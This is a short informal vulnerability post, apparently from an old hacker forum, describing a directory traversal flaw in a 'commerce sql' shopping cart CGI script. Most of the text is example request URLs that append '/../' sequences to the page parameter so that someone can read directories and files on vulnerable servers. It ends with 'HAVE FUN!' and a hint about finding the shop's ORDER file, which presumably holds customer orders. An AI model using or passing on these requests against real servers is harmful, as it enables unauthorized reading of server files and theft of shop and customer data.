Before 1 week i found a vulnerability in the commerce sql shopping cart.
You can use it for reading directories and files.
The problem is that the admin of the vulnerable server MUST set a permission on the directories and files,but he did not.Sooo...the example looks like this:
www.server.com/cgi-bin/commerceSQL/index.cgi?page=/
if the server is vulnerable it will give you the file of the directory where the shopping cart is.
The next thing you should do is probably this :
www.server.com/cgi-bin/commerceSQL/index.cgi?page=/../
and then
www.server.com/cgi-bin/commerceSQL/index.cgi?page=/../../
etc...
You can reach alot of files
HAVE FUN!
P.S.
Don't ask where the ORDER file is.I won't tell you!But if you find it yourself I don't care.
-= Founded by r00l =-
